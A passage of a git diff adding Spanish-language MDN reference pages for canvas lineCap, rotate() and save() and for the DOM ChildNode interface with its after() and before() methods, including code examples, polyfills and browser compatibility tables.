+<p>La línea de la izquiera usa la opción por defecto <code>"butt"</code>. Esta es dibujada completamente al ras de las líneas de guía. La segunda esta configurada para usar la opción <code>"round</code>. Esta agrega un semicírculo al final que tiene un radio de la mitad del grosor de línea. La línea de la derecha use la opción <code>"square"</code>. Esta agrega un cuadrado con ancho y altura de la mitad del grosor de línea.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+</div>
+
+<pre class="brush: js">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+const lineCap = ['butt', 'round', 'square'];
+
+// Draw guides
+ctx.strokeStyle = '#09f';
+ctx.beginPath();
+ctx.moveTo(10, 10);
+ctx.lineTo(140, 10);
+ctx.moveTo(10, 140);
+ctx.lineTo(140, 140);
+ctx.stroke();
+
+// Draw lines
+ctx.strokeStyle = 'black';
+for (let i = 0; i &lt; lineCap.length; i++) {
+  ctx.lineWidth = 15;
+  ctx.lineCap = lineCap[i];
+  ctx.beginPath();
+  ctx.moveTo(25 + i * 50, 10);
+  ctx.lineTo(25 + i * 50, 140);
+  ctx.stroke();
+}
+</pre>
+
+<p>{{EmbedLiveSample("Comparison_of_line_caps", "180", "180", "https://mdn.mozillademos.org/files/236/Canvas_linecap.png")}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-linecap", "CanvasRenderingContext2D.lineCap")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegador.">Compatibilidad de navegador.</h2>
+
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.lineCap")}}</p>
+
+<h3 id="WebKitBlink-specific_notes">WebKit/Blink-specific notes</h3>
+
+<ul>
+ <li>En WebKit- y navegadores basados en Blink, el método no estandard  y obsoleto <code>ctx.setLineCap()</code> es implementado ademas de esta propiedad.</li>
+</ul>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>La interfaz que define esta propiedad: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.lineWidth")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.lineJoin")}}</li>
+ <li><a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors">Aplicando estilos y color</a></li>
+</ul>
diff --git a/files/es/web/api/canvasrenderingcontext2d/rotate/index.html b/files/es/web/api/canvasrenderingcontext2d/rotate/index.html
new file mode 100644
index 0000000000..009b280c4c
--- /dev/null
+++ b/files/es/web/api/canvasrenderingcontext2d/rotate/index.html
@@ -0,0 +1,137 @@
+---
+title: CanvasRenderingContext2D.rotate()
+slug: Web/API/CanvasRenderingContext2D/rotate
+tags:
+  - metodo
+translation_of: Web/API/CanvasRenderingContext2D/rotate
+---
+<div>{{APIRef}}</div>
+
+<p>El método <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.rotate()</code></strong> de la API Canvas 2D añade una rotación a la matriz de transformación.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">void <em>ctx</em>.rotate(<em>angulo</em>);
+</pre>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/233/Canvas_grid_rotate.png" style="float: right;"></p>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>angulo</code></dt>
+ <dd>El ángulo de rotación en radianes, en sentido horario. Se puede usar <em><code>grado</code></em><code><code>*</code> Math.PI / 180</code> si se quiere calcular a partir de un valor de grado sexagesimal.</dd>
+</dl>
+
+<p>El centro de rotación es siempre el orígen del canvas. Para cambiar el centro de rotación hay que mover el canvas mediante el método {{domxref("CanvasRenderingContext2D.translate", "translate()")}}.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Rotando_una_figura">Rotando una figura</h3>
+
+<p>En este ejemplo se rota un rectangulo 45º. Nótese que el centro de rotación es la esquina superior izquierda del canvas y no un punto cualquiera relativo a alguna figura.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[14]">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+// origen del punto de transformación
+ctx.arc(0, 0, 5, 0, 2 * Math.PI);
+ctx.fillStyle = 'blue';
+ctx.fill();
+
+// rectángulo sin rotar
+ctx.fillStyle = 'gray';
+ctx.fillRect(100, 0, 80, 20);
+
+// rectángulo rotado 45º
+ctx.rotate(45 * Math.PI / 180);
+ctx.fillStyle = 'red';
+ctx.fillRect(100, 0, 80, 20);
+
+// se reinicia la matriz de transformación a la matriz identidad
+ctx.setTransform(1, 0, 0, 1, 0, 0);
+</pre>
+
+<h4 id="Resultado">Resultado</h4>
+
+<p>El <span style="color: blue;">centro de rotación es azul</span>. El <span style="color: gray;">rectángulo no rotado es gris</span>, y el <span style="color: red;">rectángulo rotado es rojo</span>.</p>
+
+<p>{{ EmbedLiveSample('Rotating_a_shape', 700, 180) }}</p>
+
+<h3 id="Rotando_una_figura_por_su_centro">Rotando una figura por su centro</h3>
+
+<p>Este ejemplo rota una figura alrededor del punto central de ésta. Para realizarlo se aplican estos pasos a la matriz de transformación:</p>
+
+<ol>
+ <li>Primero, {{domxref("CanvasRenderingContext2D.translate()", "translate()")}} mueve el orígen de la matriz hacia el centro de la figura.</li>
+ <li><code>rotate()</code> rota la matriz la cantidad deseada.</li>
+ <li>Finalmente, <code>translate()</code> mueve el origen de la matriz de nuevo a su punto inicial. Esto se realiza utilizando los valores del centro de coordenadas de la figura en dirección negativa.</li>
+</ol>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript_2">JavaScript</h4>
+
+<p>La figura es un rectángulo con su esquina en (80, 60), un ancho de 140 y un alto de 30. El centro de la coordenada horizontal está en  (80 + 140 / 2) = 150. Su centro en la coordenada vertical será  (60 + 30 / 2) = 75. Por tanto, el punto central está en (150, 75).</p>
+
+<pre class="brush: js">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+// rectángulo sin rotar
+ctx.fillStyle = 'gray';
+ctx.fillRect(80, 60, 140, 30);
+
+// Matriz de transformación
+ctx.translate(150, 75);
+ctx.rotate(Math.PI / 2);
+ctx.translate(-150, -75);
+
+// rectángulo rotado
+ctx.fillStyle = 'red';
+ctx.fillRect(80, 60, 140, 30);
+</pre>
+
+<h4 id="Resultado_2">Resultado</h4>
+
+<p>El <span style="color: gray;">rectángulo no rotado es gris</span>, y el <span style="color: red;">rectángulo rotado es rojo</span>.</p>
+
+<p>{{ EmbedLiveSample('Rotating_a_shape_around_its_center', 700, 180) }}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-rotate", "CanvasRenderingContext2D.rotate")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_exploradores">Compatibilidad con exploradores</h2>
+
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si desea contribuir a estos datos, vaya a <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y haga un pull request.</div>
+
+<p>{{Compat("api.CanvasRenderingContext2D.rotate")}}</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>La interface donde se define este método: {{domxref("CanvasRenderingContext2D")}}</li>
+</ul>
diff --git a/files/es/web/api/canvasrenderingcontext2d/save/index.html b/files/es/web/api/canvasrenderingcontext2d/save/index.html
new file mode 100644
index 0000000000..6351bb3ad1
--- /dev/null
+++ b/files/es/web/api/canvasrenderingcontext2d/save/index.html
@@ -0,0 +1,91 @@
+---
+title: CanvasRenderingContext2D.save()
+slug: Web/API/CanvasRenderingContext2D/save
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Referencia
+  - metodo
+translation_of: Web/API/CanvasRenderingContext2D/save
+---
+<div>{{APIRef}}</div>
+
+<p>El método <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.save()</code></strong> del API Canvas 2D guarda el estado completo del canvas añadiendo el estado actual a una pila.</p>
+
+<h3 id="El_estado_del_dibujo">El estado del dibujo</h3>
+
+<p>El estado del dibujo que se almacena en una pila consiste en los siguientes elementos:</p>
+
+<ul>
+ <li>La matriz de transformación actual.</li>
+ <li>La región de recorte actual.</li>
+ <li>La lista de punteado actual.</li>
+ <li>Los valores actuales de los siguientes atributos: {{domxref("CanvasRenderingContext2D.strokeStyle", "strokeStyle")}}, {{domxref("CanvasRenderingContext2D.fillStyle", "fillStyle")}}, {{domxref("CanvasRenderingContext2D.globalAlpha", "globalAlpha")}}, {{domxref("CanvasRenderingContext2D.lineWidth", "lineWidth")}}, {{domxref("CanvasRenderingContext2D.lineCap", "lineCap")}}, {{domxref("CanvasRenderingContext2D.lineJoin", "lineJoin")}}, {{domxref("CanvasRenderingContext2D.miterLimit", "miterLimit")}}, {{domxref("CanvasRenderingContext2D.lineDashOffset", "lineDashOffset")}}, {{domxref("CanvasRenderingContext2D.shadowOffsetX", "shadowOffsetX")}}, {{domxref("CanvasRenderingContext2D.shadowOffsetY", "shadowOffsetY")}}, {{domxref("CanvasRenderingContext2D.shadowBlur", "shadowBlur")}}, {{domxref("CanvasRenderingContext2D.shadowColor", "shadowColor")}}, {{domxref("CanvasRenderingContext2D.globalCompositeOperation", "globalCompositeOperation")}}, {{domxref("CanvasRenderingContext2D.font", "font")}}, {{domxref("CanvasRenderingContext2D.textAlign", "textAlign")}}, {{domxref("CanvasRenderingContext2D.textBaseline", "textBaseline")}}, {{domxref("CanvasRenderingContext2D.direction", "direction")}}, {{domxref("CanvasRenderingContext2D.imageSmoothingEnabled", "imageSmoothingEnabled")}}.</li>
+</ul>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">void <em>ctx</em>.save();</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Guardando_el_estado_del_dibujo">Guardando el estado del dibujo</h3>
+
+<p>Este ejemplo usa el método <code>save()</code> para guardar el estado por defecto y el método <code>restore()</code> para restaurarlo luego, de tal manera que luego se puede dibujar el segundo rectángulo con el estado por defecto.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[5]">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+// Guardar el estado por defecto
+ctx.save();
+
+ctx.fillStyle = 'green';
+ctx.fillRect(10, 10, 100, 100);
+
+// Restaurar el estado por defecto
+ctx.restore();
+
+ctx.fillRect(150, 40, 100, 100);
+</pre>
+
+<h4 id="Resultado">Resultado</h4>
+
+<p>{{ EmbedLiveSample('Saving_the_drawing_state', 700, 180) }}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-save", "CanvasRenderingContext2D.save")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_exploradores">Compatibilidad con exploradores</h2>
+
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.save")}}</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>La interfaz donde se define este método: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.restore()")}}</li>
+</ul>
diff --git a/files/es/web/api/childnode/after/index.html b/files/es/web/api/childnode/after/index.html
new file mode 100644
index 0000000000..b6512e73c0
--- /dev/null
+++ b/files/es/web/api/childnode/after/index.html
@@ -0,0 +1,181 @@
+---
+title: ChildNode.after()
+slug: Web/API/ChildNode/after
+tags:
+  - API
+  - DOM
+  - Experimental
+  - Nodo
+  - Referencia
+  - metodo
+translation_of: Web/API/ChildNode/after
+---
+<p>{{APIRef("DOM")}} {{SeeCompatTable}}<br>
+ <span lang="es"><span>El método <code><strong>ChildNode.after()</strong></code> inserta un conjunto de objetos {{domxref("Node")}} o {{domxref("DOMString")}} en la lista de hijos de este <code>ChildNode</code> del padre, justo después de este <code>ChildNode</code>.</span> <span>Los objetos {{domxref("DOMString")}} se insertan como nodos equivalentes {{domxref("Text")}}.</span></span></p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">[Throws, Unscopable]
+void ChildNode.after((Node o DOMString)... nodes);
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>nodes</code></dt>
+ <dd><span id="result_box" lang="es"><span>Un conjunto de objetos </span></span><span lang="es"><span>{{domxref("Node")}} o </span></span>{{domxref("DOMString")}}<span lang="es"><span> para insertar.</span></span></dd>
+</dl>
+
+<h3 id="Excepciones">Excepciones</h3>
+
+<ul>
+ <li>{{domxref("HierarchyRequestError")}}: No se puede insertar nodo en el punto especificado de la jerarquía.</li>
+</ul>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Insertando_un_elemento">Insertando un elemento</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+var child = document.createElement("p");
+parent.appendChild(child);
+var span = document.createElement("span");
+
+child.after(span);
+
+console.log(parent.outerHTML);
+// "&lt;div&gt;&lt;p&gt;&lt;/p&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;"
+</pre>
+
+<h3 id="Insertando_texto">Insertando texto</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+var child = document.createElement("p");
+parent.appendChild(child);
+
+child.after("Text");
+
+console.log(parent.outerHTML);
+// "&lt;div&gt;&lt;p&gt;&lt;/p&gt;Text&lt;/div&gt;"</pre>
+
+<h3 id="Insertando_un_elemento_y_texto">Insertando un elemento y texto</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+var child = document.createElement("p");
+parent.appendChild(child);
+var span = document.createElement("span");
+
+child.after(span, "Text");
+
+console.log(parent.outerHTML);
+// "&lt;div&gt;&lt;p&gt;&lt;/p&gt;&lt;span&gt;&lt;/span&gt;Text&lt;/div&gt;"</pre>
+
+<h3 id="ChildNode.after_es_unscopable"><code>ChildNode.after()</code> es unscopable</h3>
+
+<p>El método <code>after()</code> no está incluido en la declaración <code>with</code>.Consulte {{jsxref("Symbol.unscopables")}} para obtener más información.</p>
+
+<pre class="brush: js">with(node) {
+  after("foo");
+}
+// ReferenceError: after is not defined </pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>Puedes usar un polyfill del método <code>after()</code> en Internet Explorer 9 y superiores con el siguente código:</p>
+
+<pre class="brush: js">// from: https://github.com/jserz/js_piece/blob/master/DOM/ChildNode/after()/after().md
+(function (arr) {
+  arr.forEach(function (item) {
+    if (item.hasOwnProperty('after')) {
+      return;
+    }
+    Object.defineProperty(item, 'after', {
+      configurable: true,
+      enumerable: true,
+      writable: true,
+      value: function after() {
+        var argArr = Array.prototype.slice.call(arguments),
+          docFrag = document.createDocumentFragment();
+
+        argArr.forEach(function (argItem) {
+          var isNode = argItem instanceof Node;
+          docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem)));
+        });
+
+        this.parentNode.insertBefore(docFrag, this.nextSibling);
+      }
+    });
+  });
+})([Element.prototype, CharacterData.prototype, DocumentType.prototype]);</pre>
+
+<h3 id="Otro_polyfill">Otro polyfill</h3>
+
+<pre class="brush: js">// from: https://github.com/FabioVergani/js-Polyfill_Element.prototype.after/blob/master/after.js
+
+(function(x){
+ var o=x.prototype,p='after';
+ if(!o[p]){
+    o[p]=function(){
+     var e, m=arguments, l=m.length, i=0, t=this, p=t.parentNode, n=Node, s=String, d=document;
+     if(p!==null){
+        while(i&lt;l){
+         e=m[i];
+         if(e instanceof n){
+            t=t.nextSibling;
+            if(t!==null){
+                p.insertBefore(e,t);
+            }else{
+                p.appendChild(e);
+            };
+         }else{
+            p.appendChild(d.createTextNode(s(e)));
+         };
+         ++i;
+        };
+     };
+    };
+ };
+})(Element);
+
+
+
+/*
+minified:
+
+(function(x){
+ var o=x.prototype;
+ o.after||(o.after=function(){var e,m=arguments,l=m.length,i=0,t=this,p=t.parentNode,n=Node,s=String,d=document;if(p!==null){while(i&lt;l){((e=m[i]) instanceof n)?(((t=t.nextSibling )!==null)?p.insertBefore(e,t):p.appendChild(e)):p.appendChild(d.createTextNode(s(e)));++i;}}});
+}(Element));
+*/
+</pre>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-childnode-after', 'ChildNode.after()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Definición Inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{Compat("api.ChildNode.after")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("ChildNode")}} y {{domxref("ParentNode")}}</li>
+ <li>{{domxref("ChildNode.before()")}}</li>
+ <li>{{domxref("ParentNode.append()")}}</li>
+ <li>{{domxref("Node.appendChild()")}}</li>
+ <li>{{domxref("NodeList")}}</li>
+</ul>
diff --git a/files/es/web/api/childnode/before/index.html b/files/es/web/api/childnode/before/index.html
new file mode 100644
index 0000000000..b7ac4e3835
--- /dev/null
+++ b/files/es/web/api/childnode/before/index.html
@@ -0,0 +1,175 @@
+---
+title: ChildNode.before()
+slug: Web/API/ChildNode/before
+tags:
+  - API
+  - DOM
+  - Experimental
+  - Nodo
+  - Referencia
+  - metodo
+translation_of: Web/API/ChildNode/before
+---
+<p><textarea></textarea></p>
+
+<div id="gt-input-tool">
+<div id="itamenu"> </div>
+</div>
+
+<div class="g-unit" id="gt-src-c">
+<div id="gt-src-p"> </div>
+</div>
+
+<div id="gt-res-content">
+<div dir="ltr" style="zoom: 1;"><span id="result_box" lang="es"><span>{{APIRef ( "DOM")}} {{SeeCompatTable}}</span><br>
+<br>
+<span>El método <strong>ChildNode.before</strong> inserta un conjunto de objetos {{domxref ( "Node")}} o {{domxref ( "DOMString")}} en la lista de hijos de este ChildNode del padre, justo antes de este ChildNode.</span> <span>Los objetos {{domxref ( "DOMString")}} se insertan como nodos equivalentes {{domxref ( "Text")}}.</span></span></div>
+</div>
+
+<h2 id="Síntasix">Síntasix</h2>
+
+<pre class="syntaxbox">[Throws, Unscopable]
+void ChildNode.before((Node or DOMString)... nodes);
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>nodos</code></dt>
+ <dd><span id="result_box" lang="es"><span>Un conjunto de objetos {{domxref ( "Node")}} o {{domxref ( "DOMString")}} para insertar.</span></span></dd>
+</dl>
+
+<h3 id="Excepciones">Excepciones</h3>
+
+<ul>
+ <li>{{domxref("HierarchyRequestError")}}: Node cannot be inserted at the specified point in the hierarchy.</li>
+</ul>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Insertando_un_elemento">Insertando un elemento</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+var child = document.createElement("p");
+parent.appendChild(child);
+var span = document.createElement("span");
+
+child.before(span);
+
+console.log(parent.outerHTML);
+// "&lt;div&gt;&lt;span&gt;&lt;/span&gt;&lt;p&gt;&lt;/p&gt;&lt;/div&gt;"
+</pre>
+
+<h3 id="Insertando_texto">Insertando texto</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+var child = document.createElement("p");
+parent.appendChild(child);
+
+child.before("Text");
+
+console.log(parent.outerHTML);
+// "&lt;div&gt;Text&lt;p&gt;&lt;/p&gt;&lt;/div&gt;"</pre>
+
+<h3 id="Insertando_un_elemento_y_texto">Insertando un elemento y texto</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+var child = document.createElement("p");
+parent.appendChild(child);
+var span = document.createElement("span");
+
+child.before(span, "Text");
+
+console.log(parent.outerHTML);
+// "&lt;div&gt;&lt;span&gt;&lt;/span&gt;Text&lt;p&gt;&lt;/p&gt;&lt;/div&gt;"</pre>
+
+<h3 id="ChildNode.before()_es_unscopable"><code>ChildNode.before()</code> es unscopable</h3>
+
+<p><span id="result_box" lang="es"><span>El método before () no está definido en la declaración <em>with</em>.</span> <span>Consulte {{jsxref ( "Symbol.unscopables")}} para obtener más información.</span></span></p>
+
+<pre class="brush: js">with(node) {
+  before("foo");
+}
+// ReferenceError: before is not defined </pre>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-childnode-before', 'ChildNode.before()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Definición Inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_los_Navegadores">Compatibilidad en los Navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Función</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte  Básico</td>
+   <td>{{CompatChrome(54.0)}}</td>
+   <td>{{CompatGeckoDesktop(49)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(39)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Función</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(54.0)}}</td>
+   <td>{{CompatGeckoMobile(49)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(39)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(54.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("ChildNode")}} and {{domxref("ParentNode")}}</li>
+ <li>{{domxref("ChildNode.after()")}}</li>
+ <li>{{domxref("ParentNode.append()")}}</li>
+ <li>{{domxref("Node.appendChild()")}}</li>
+ <li>{{domxref("Node.insertBefore()")}}</li>
+ <li>{{domxref("NodeList")}}</li>
+</ul>
diff --git a/files/es/web/api/childnode/index.html b/files/es/web/api/childnode/index.html
new file mode 100644
index 0000000000..f354d73bd1
--- /dev/null
+++ b/files/es/web/api/childnode/index.html
@@ -0,0 +1,180 @@
+---
+title: ChildNode
+slug: Web/API/ChildNode
+tags:
+  - API
+  - DOM
+  - Experimental
+  - Interface
+  - NeedsTranslation
+  - Node
+  - TopicStub
+translation_of: Web/API/ChildNode
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>The <code><strong>ChildNode</strong></code> interface contains methods that are particular to {{domxref("Node")}} objects that can have a parent.</p>
+
+<p><code>ChildNode</code> is a raw interface and no object of this type can be created; it is implemented by {{domxref("Element")}}, {{domxref("DocumentType")}}, and {{domxref("CharacterData")}} objects.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>There are neither inherited, nor specific properties.</em></p>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>There are no inherited methods.</em></p>
+
+<dl>
+ <dt>{{domxref("ChildNode.remove()")}} {{experimental_inline}}</dt>
+ <dd>Removes this <code>ChildNode</code> from the children list of its parent.</dd>
+ <dt>{{domxref("ChildNode.before()")}} {{experimental_inline}}</dt>
+ <dd>Inserts a set of {{domxref("Node")}} or {{domxref("DOMString")}} objects in the children list of this <code>ChildNode</code>'s parent, just before this <code>ChildNode</code>. {{domxref("DOMString")}} objects are inserted as equivalent {{domxref("Text")}} nodes.</dd>
+ <dt>{{domxref("ChildNode.after()")}} {{experimental_inline}}</dt>
+ <dd>Inserts a set of {{domxref("Node")}} or {{domxref("DOMString")}} objects in the children list of this <code>ChildNode</code>'s parent, just after this <code>ChildNode</code>. {{domxref("DOMString")}} objects are inserted as equivalent {{domxref("Text")}} nodes.</dd>
+ <dt>{{domxref("ChildNode.replaceWith()")}} {{experimental_inline}}</dt>
+ <dd>Replaces this <code>ChildNode</code> in the children list of its parent with a set of {{domxref("Node")}} or {{domxref("DOMString")}} objects. {{domxref("DOMString")}} objects are inserted as equivalent {{domxref("Text")}} nodes.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-childnode', 'ChildNode')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Split the <code>ElementTraversal</code> interface in {{domxref("ParentNode")}} and <code>ChildNode</code>. <code>previousElementSibling</code> and <code>nextElementSibling</code> are now defined on the latter. The {{domxref("CharacterData")}} and {{domxref("DocumentType")}} implemented the new interfaces. Added the <code>remove()</code>, <code>before()</code>, <code>after()</code> and <code>replaceWith()</code> methods.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Element Traversal', '#interface-elementTraversal', 'ElementTraversal')}}</td>
+   <td>{{Spec2('Element Traversal')}}</td>
+   <td>Added the initial definition of its properties to the <code>ElementTraversal</code> pure interface and use it on {{domxref("Element")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>External on github: <a href="https://github.com/seznam/JAK/blob/master/lib/polyfills/childNode.js">childNode.js</a></p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support (on {{domxref("Element")}})</td>
+   <td>{{CompatChrome(1.0)}}</td>
+   <td>{{CompatGeckoDesktop(23)}}</td>
+   <td>9.0</td>
+   <td>10.0</td>
+   <td>4.0</td>
+  </tr>
+  <tr>
+   <td>Support on {{domxref("DocumentType")}} and {{domxref("CharacterData")}} {{experimental_inline}}</td>
+   <td>{{CompatChrome(23.0)}}</td>
+   <td>{{CompatGeckoDesktop(23)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>remove()</code>{{experimental_inline}}</td>
+   <td>{{CompatChrome(29.0)}}</td>
+   <td>{{CompatGeckoDesktop(23)}}</td>
+   <td>Edge</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>before()</code>, <code>after()</code>, and <code>replaceWith()</code> {{experimental_inline}}</td>
+   <td>{{CompatChrome(54.0)}}</td>
+   <td>{{CompatGeckoDesktop(49)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(39)}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support (on {{domxref("Element")}})</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(23)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Support on {{domxref("DocumentType")}} and {{domxref("CharacterData")}} {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(23)}}</td>
+   <td>{{CompatNo}}</td>
